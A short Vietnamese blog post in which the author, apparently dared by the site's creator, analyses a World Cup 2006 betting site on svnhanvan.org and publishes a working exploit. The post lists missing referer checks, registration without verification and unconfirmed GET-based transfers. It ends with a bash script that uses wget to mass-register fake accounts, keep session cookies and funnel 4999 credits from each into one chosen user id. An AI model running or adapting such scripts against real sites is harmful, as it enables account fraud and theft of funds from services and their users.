Sức mạnh của wget

Thằng Mũ Đỏ rỗi hơi ngồi dựng lên cái trung tâm cá độ World Cup 2006 trên svnhanvan.org. Lại còn gạ gẫm mình tìm ra lỗ hổng. Ông đang ngứa tay ngứa chân thì chớ, lại còn thách.

1. Phân tích

  • Tất cả các thao tác đều không kiểm tra $_SERVER['HTTP_REFERER']. Đây là sai lầm lớn nhất.
  • Phần đăng kí không đòi hỏi email kích hoạt, không cần mã xác thực bằng hình ảnh. Lợi dụng sơ hở này, có thể dùng một vòng lặp đơn giản để đăng kí tự động.
  • Duy trì phiên làm việc bằng session.
  • Nội dung chuyển khoản lấy từ $_GET. Khi chuyển khoản cũng không cần người dùng xác nhận (confirm). Lỗi này cho phép việc chuyển khoản có thể tiến hành thông qua URL.

2. Khai thác

Ý tưởng rất đơn giản. Dùng wget với các tuỳ chọn về cookie và post-data. Bao gồm các bước:

  • Đăng kí bằng cách truyền biến thông qua --post-data.
  • Khi đăng nhập, sử dụng --keep-session-cookies--save-cookies. Các biến cũng được truyền qua --post-data.
  • Khi chuyển khoản về một tài khoản cố định, sử dụng --load-cookies và truyến biến qua URL.

3. Sản phẩm

#/bin/sh

link=http://www.svnhanvan.org/worldcup
userid=400

for i in `seq 1 10`;	do
	username=bet"$i";
	wget --post-data db_username="$username"\\&db_password=PASSWORD\\&db_bbuid=-2 "$link"/register.php;
	wget --keep-session-cookies --save-cookies=ck.txt "$link"/login.php --post-data db_username="$username"\\&db_password=PASSWORD\\&submit=;
	wget --load-cookies=ck.txt "$link"/dotransfer.php?id="$userid"\\&amount=4999\\&reason=;
	rm -f ck.txt register.php* login.php* myaccount.php* dotransfer.php*;
done

Thế mới hiểu tại sao mình lại thích dùng bashwget :lol:.


Chuyên mục:

,